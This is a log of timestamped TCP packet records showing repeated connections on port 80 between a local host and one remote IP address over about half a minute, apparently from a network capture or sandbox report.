Jun 28, 2024 22:33:28.479612112 CEST	80	49807	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:28.479655027 CEST	49807	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:28.484180927 CEST	80	49808	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:29.224231958 CEST	80	49808	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:29.224307060 CEST	49808	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:29.330154896 CEST	49808	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:29.330508947 CEST	49809	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:29.670417070 CEST	49808	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:30.357894897 CEST	49808	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:30.372174025 CEST	80	49809	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:30.372185946 CEST	80	49808	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:30.372234106 CEST	80	49808	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:30.372256994 CEST	80	49808	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:30.372276068 CEST	49809	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:30.372309923 CEST	49808	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:30.372670889 CEST	49809	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:30.377449989 CEST	80	49809	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:31.257142067 CEST	80	49809	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:31.257206917 CEST	49809	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:31.261532068 CEST	49809	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:31.261878014 CEST	49810	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:31.266707897 CEST	80	49810	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:31.266814947 CEST	49810	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:31.267029047 CEST	49810	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:31.267389059 CEST	80	49809	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:31.267445087 CEST	49809	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:31.271817923 CEST	80	49810	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:32.029925108 CEST	80	49810	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:32.032584906 CEST	49810	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:32.142939091 CEST	49810	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:32.143486977 CEST	49811	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:32.148114920 CEST	80	49810	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:32.148276091 CEST	80	49811	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:32.148298979 CEST	49810	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:32.148334026 CEST	49811	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:32.148684978 CEST	49811	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:32.153429985 CEST	80	49811	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:32.845299006 CEST	80	49811	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:32.845356941 CEST	49811	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:32.848303080 CEST	49811	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:32.848691940 CEST	49812	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:32.853410959 CEST	80	49811	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:32.853457928 CEST	80	49812	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:32.853470087 CEST	49811	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:32.853521109 CEST	49812	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:32.853642941 CEST	49812	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:32.858366013 CEST	80	49812	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:33.556767941 CEST	80	49812	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:33.556826115 CEST	49812	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:33.673892021 CEST	49812	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:33.674482107 CEST	49813	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:33.682001114 CEST	80	49813	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:33.682068110 CEST	49813	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:33.682336092 CEST	49813	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:33.682682037 CEST	80	49812	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:33.682739019 CEST	49812	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:33.687218904 CEST	80	49813	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:35.362860918 CEST	80	49813	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:35.362916946 CEST	49813	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:35.363300085 CEST	80	49813	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:35.363344908 CEST	49813	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:35.363408089 CEST	80	49813	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:35.363450050 CEST	49813	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:35.363744020 CEST	80	49813	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:35.363780975 CEST	49813	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:35.366415977 CEST	49813	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:35.366776943 CEST	49814	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:35.371376038 CEST	80	49813	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:35.371423960 CEST	49813	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:35.371491909 CEST	80	49814	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:35.371556997 CEST	49814	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:35.371798992 CEST	49814	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:35.376462936 CEST	80	49814	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:36.116750002 CEST	80	49814	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:36.116810083 CEST	49814	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:36.221087933 CEST	49814	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:36.222095013 CEST	49815	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:36.237092972 CEST	49816	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:36.428889990 CEST	80	49814	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:36.428945065 CEST	49814	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:36.432497978 CEST	80	49815	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:36.432508945 CEST	80	49816	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:36.432578087 CEST	49815	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:36.432611942 CEST	49816	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:36.432698965 CEST	80	49814	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:36.432903051 CEST	49814	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:36.432997942 CEST	49816	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:36.438329935 CEST	80	49816	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:37.425934076 CEST	80	49816	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:37.426001072 CEST	49816	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:37.427429914 CEST	80	49816	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:37.427520990 CEST	49816	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:37.548912048 CEST	49816	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:37.549531937 CEST	49817	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:37.554029942 CEST	80	49816	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:37.554109097 CEST	49816	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:37.554377079 CEST	80	49817	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:37.554476023 CEST	49817	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:37.560429096 CEST	49817	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:37.565284967 CEST	80	49817	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:38.248167992 CEST	80	49817	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:38.248326063 CEST	49817	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:38.252315998 CEST	49817	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:38.252650023 CEST	49818	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:38.257400036 CEST	80	49817	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:38.257447004 CEST	80	49818	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:38.257456064 CEST	49817	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:38.257515907 CEST	49818	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:38.260529041 CEST	49818	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:38.265368938 CEST	80	49818	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:39.007302999 CEST	80	49818	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:39.007431030 CEST	49818	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:39.113306999 CEST	49818	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:39.113643885 CEST	49819	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:39.118381023 CEST	80	49818	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:39.118423939 CEST	80	49819	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:39.118463039 CEST	49818	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:39.118515968 CEST	49819	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:39.118711948 CEST	49819	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:39.126060009 CEST	80	49819	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:40.159591913 CEST	80	49819	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:40.160605907 CEST	49819	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:40.160800934 CEST	80	49819	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:40.160851955 CEST	49819	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:40.163472891 CEST	49819	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:40.163907051 CEST	49820	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:40.168467999 CEST	80	49819	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:40.168529987 CEST	49819	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:40.168612003 CEST	80	49820	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:40.169080973 CEST	49820	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:40.169286966 CEST	49820	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:40.174005032 CEST	80	49820	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:40.899986982 CEST	80	49820	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:40.900057077 CEST	49820	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:41.021579027 CEST	49820	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:41.021962881 CEST	49821	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:41.026737928 CEST	80	49821	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:41.026804924 CEST	49821	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:41.026839018 CEST	80	49820	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:41.026887894 CEST	49820	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:41.027946949 CEST	49821	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:41.032707930 CEST	80	49821	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:41.734087944 CEST	80	49821	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:41.734195948 CEST	49821	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:41.738595009 CEST	49821	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:41.739033937 CEST	49822	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:41.860848904 CEST	49823	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:42.073509932 CEST	49821	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:42.773700953 CEST	80	49821	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:42.773761988 CEST	49821	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:42.773924112 CEST	80	49821	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:42.774028063 CEST	49821	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:42.774473906 CEST	80	49821	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:42.774637938 CEST	49821	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:42.774758101 CEST	80	49822	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:42.774768114 CEST	80	49823	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:42.774782896 CEST	80	49821	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:42.774817944 CEST	49822	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:42.774873972 CEST	49823	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:42.775171041 CEST	49823	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:42.778311014 CEST	80	49821	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:42.778542042 CEST	49821	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:42.781501055 CEST	80	49823	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:43.684138060 CEST	80	49823	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:43.684196949 CEST	49823	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:43.689093113 CEST	49823	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:43.689687014 CEST	49824	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:43.694196939 CEST	80	49823	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:43.694252014 CEST	49823	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:43.694495916 CEST	80	49824	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:43.694619894 CEST	49824	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:43.694880009 CEST	49824	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:43.699585915 CEST	80	49824	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:44.405241966 CEST	80	49824	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:44.405304909 CEST	49824	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:44.518093109 CEST	49824	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:44.518626928 CEST	49825	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:44.523420095 CEST	80	49825	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:44.523443937 CEST	80	49824	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:44.523515940 CEST	49824	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:44.523530960 CEST	49825	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:44.523679972 CEST	49825	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:44.528410912 CEST	80	49825	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:45.220133066 CEST	80	49825	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:45.220259905 CEST	49825	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:45.224534035 CEST	49825	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:45.224945068 CEST	49826	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:45.229530096 CEST	80	49825	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:45.229583979 CEST	49825	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:45.229758024 CEST	80	49826	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:45.229834080 CEST	49826	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:45.230365038 CEST	49826	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:45.237365007 CEST	80	49826	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:45.935010910 CEST	80	49826	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:45.936177969 CEST	49826	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:46.055982113 CEST	49826	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:46.056514025 CEST	49827	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:46.061800003 CEST	80	49826	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:46.061985016 CEST	49826	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:46.062063932 CEST	80	49827	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:46.062160015 CEST	49827	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:46.062386036 CEST	49827	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:46.067668915 CEST	80	49827	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:46.769762039 CEST	80	49827	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:46.770031929 CEST	49827	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:46.773920059 CEST	49827	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:46.774317980 CEST	49828	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:46.778944016 CEST	80	49827	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:46.779045105 CEST	49827	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:46.779067039 CEST	80	49828	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:46.779134989 CEST	49828	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:46.779588938 CEST	49828	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:46.784322977 CEST	80	49828	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:47.479109049 CEST	80	49828	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:47.479378939 CEST	49828	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:47.596033096 CEST	49828	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:47.596460104 CEST	49829	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:47.601066113 CEST	80	49828	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:47.601150990 CEST	49828	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:47.601239920 CEST	80	49829	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:47.601402998 CEST	49829	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:47.601499081 CEST	49829	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:47.606225967 CEST	80	49829	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:48.315522909 CEST	80	49829	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:48.315706015 CEST	49829	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:48.319235086 CEST	49829	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:48.319551945 CEST	49830	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:48.324326992 CEST	80	49830	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:48.324532032 CEST	80	49829	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:48.324618101 CEST	49829	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:48.324745893 CEST	49830	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:48.324820995 CEST	49830	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:48.329641104 CEST	80	49830	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:49.357855082 CEST	80	49830	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:49.358005047 CEST	49830	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:49.362266064 CEST	80	49830	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:49.362370014 CEST	49830	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:49.470216036 CEST	49830	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:49.470560074 CEST	49831	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:49.475307941 CEST	80	49830	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:49.475334883 CEST	80	49831	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:49.475400925 CEST	49830	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:49.475430965 CEST	49831	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:49.475672007 CEST	49831	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:49.480365038 CEST	80	49831	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:50.190125942 CEST	80	49831	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:50.190185070 CEST	49831	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:50.205020905 CEST	49831	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:50.206042051 CEST	49832	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:50.210172892 CEST	80	49831	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:50.210227013 CEST	49831	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:50.210830927 CEST	80	49832	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:50.210908890 CEST	49832	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:50.211678028 CEST	49832	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:50.216417074 CEST	80	49832	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:50.917840004 CEST	80	49832	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:50.918939114 CEST	49832	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:51.032855034 CEST	49832	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:51.033231020 CEST	49833	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:51.037882090 CEST	80	49832	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:51.038003922 CEST	80	49833	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:51.038089991 CEST	49832	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:51.038156033 CEST	49833	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:51.038345098 CEST	49833	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:51.043090105 CEST	80	49833	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:51.727320910 CEST	80	49833	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:51.727406025 CEST	49833	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:51.730427980 CEST	49833	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:51.730859995 CEST	49834	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:51.735630989 CEST	80	49834	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:51.735665083 CEST	80	49833	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:51.735711098 CEST	49834	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:51.735863924 CEST	49833	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:51.736002922 CEST	49834	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:51.740776062 CEST	80	49834	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:52.439223051 CEST	80	49834	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:52.439524889 CEST	49834	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:52.548679113 CEST	49834	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:52.549017906 CEST	49835	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:52.553822041 CEST	80	49835	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:52.553904057 CEST	80	49834	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:52.553961992 CEST	49835	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:52.554029942 CEST	49834	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:52.554291964 CEST	49835	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:52.558990955 CEST	80	49835	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:53.259306908 CEST	80	49835	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:53.259360075 CEST	49835	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:53.262581110 CEST	49835	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:53.262953997 CEST	49836	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:53.267734051 CEST	80	49835	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:53.267791033 CEST	49835	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:53.267796040 CEST	80	49836	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:53.267940998 CEST	49836	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:53.268059015 CEST	49836	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:53.272865057 CEST	80	49836	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:53.992333889 CEST	80	49836	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:53.996721029 CEST	49836	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:54.111263037 CEST	49836	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:54.111613989 CEST	49837	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:54.117619038 CEST	80	49837	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:54.118180037 CEST	80	49836	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:54.118308067 CEST	49837	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:54.118495941 CEST	49836	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:54.118532896 CEST	49837	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:54.124568939 CEST	80	49837	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:54.831770897 CEST	80	49837	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:54.831851006 CEST	49837	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:54.835253954 CEST	49837	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:54.835582972 CEST	49838	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:54.840343952 CEST	80	49838	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:54.840364933 CEST	80	49837	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:54.840430975 CEST	49837	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:54.840476036 CEST	49838	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:54.840713024 CEST	49838	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:54.845422029 CEST	80	49838	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:55.540813923 CEST	80	49838	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:55.540899992 CEST	49838	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:55.658339024 CEST	49838	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:55.658787012 CEST	49839	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:55.663415909 CEST	80	49838	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:55.663480997 CEST	49838	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:55.663513899 CEST	80	49839	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:55.663626909 CEST	49839	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:55.663738012 CEST	49839	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:55.668462038 CEST	80	49839	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:56.493396997 CEST	80	49839	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:56.493684053 CEST	49839	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:56.496767998 CEST	49839	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:56.497159004 CEST	49840	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:56.503176928 CEST	80	49839	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:56.503256083 CEST	80	49840	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:56.503343105 CEST	49840	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:56.503351927 CEST	49839	80	192.168.2.4	77.91.77.82
